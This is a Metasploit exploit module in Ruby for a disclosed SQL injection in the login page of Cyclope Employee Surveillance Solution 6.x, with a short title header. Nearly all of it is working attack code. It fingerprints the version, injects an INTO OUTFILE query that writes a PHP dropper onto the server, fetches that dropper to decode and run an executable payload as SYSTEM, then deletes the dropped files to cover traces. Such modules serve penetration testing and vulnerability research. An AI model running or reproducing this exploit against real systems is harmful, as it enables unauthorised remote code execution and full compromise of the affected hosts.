Cyclope Employee Surveillance Solution 6.0 – SQL Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection", 'Description' => %q{ This module exploits a SQL injection found in Cyclope Employee Surveillance Solution. Because the login script does not properly handle the user-supplied username parameter, a malicious user can manipulate the SQL query, and allows arbitrary code execution under the context of 'SYSTEM'. }, 'License' => MSF_LICENSE, 'Author' => [ 'loneferret', #Original discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['OSVDB', '84517'], ['EDB', '20393'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ ['Cyclope Employee Surveillance Solution v6.2 or older', {}] ], 'Privileged' => false, 'DisclosureDate' => "Aug 8 2012", 'DefaultTarget' => 0)) register_options( [ OptPort.new('RPORT', [true, "The web application's port", 7879]), OptString.new('TARGETURI', [true, 'The base path to to the web application', '/']) ], self.class) end def check peer = "#{rhost}:#{rport}" path = File.dirname("#{target_uri.path}/.") b64_version = get_version(path) if b64_version.empty? print_error("#{peer} - Unable to determine the version number") else b64_version = Rex::Text.decode_base64(b64_version) if b64_version =~ /^[0-6]\.1/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Unknown end def get_version(path) res = send_request_raw({'uri'=> "#{path}index.php"}) return '' if not res v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0] return '' if not v return v end def on_new_session(cli) if cli.type != 'meterpreter' print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}") return end cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") begin print_status("Deleting #{@php_fname}") cli.fs.file.rm(@php_fname) rescue ::Exception => e print_error("Please note: #{@php_fname} is stil on disk.") end begin print_status("Deleting #{@exe_fname}") cli.fs.file.rm(@exe_fname) rescue ::Exception => e print_error("Please note: #{@exe_fname} is still on disk.") end end def get_php_payload(fname) p = Rex::Text.encode_base64(generate_payload_exe) php = %Q| <?php $f = fopen("#{fname}", "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); exec("#{fname}"); ?> | php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ') return php end def exploit peer = "#{rhost}:#{rport}" path = File.dirname("#{target_uri.path}/.") # # Need to fingerprint the version number in Base64 for the payload path # b64_version = get_version(path) if b64_version.empty? print_error("#{peer} - Unable to determine the version number") return end print_status("#{peer} - Obtained version: #{Rex::Text.decode_base64(b64_version)}") # # Prepare our payload (naughty exe embedded in php) # @exe_fname = Rex::Text.rand_text_alpha(6) + '.exe' @php_fname = Rex::Text.rand_text_alpha(6) + '.php' php = get_php_payload(@exe_fname).unpack("H*")[0] sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1" # # Inject payload # print_status("#{peer} - Injecting PHP payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => path, 'vars_post' => { 'act' => 'auth-login', 'pag' => 'login', 'username' => sqli, 'password' => Rex::Text.rand_text_alpha(5) } }) # # Load our payload # print_status("#{peer} - Loading payload: #{path}#{b64_version}/#{@php_fname}") send_request_raw({'uri'=>"#{path}#{b64_version}/#{@php_fname}"}) if res and res.code == 404 print_error("#{peer} - Server returned 404, the upload attempt probably failed.") return end handler end end |